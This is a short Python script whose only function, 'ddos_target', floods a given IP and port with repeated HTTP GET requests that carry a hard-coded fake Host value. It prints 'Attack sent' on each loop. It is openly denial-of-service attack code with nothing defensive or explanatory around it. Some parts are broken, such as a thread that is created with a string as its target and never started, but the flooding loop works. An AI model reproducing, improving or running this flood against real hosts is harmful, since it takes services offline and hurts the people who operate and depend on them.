import socket
import threading

def ddos_target(IP, PORT, duration):
    fake_ip = "182.21.20.32"
    for i in range(duration):
        thread = threading.Thread(target=IP)
        attack_num = 0
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("GET /" + IP + " HTTP/1.1\r\n").encode('ascii'), (IP, PORT))
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (IP, PORT))
        print("Attack sent")
        s.close()


def start_ddos(function):
    function()
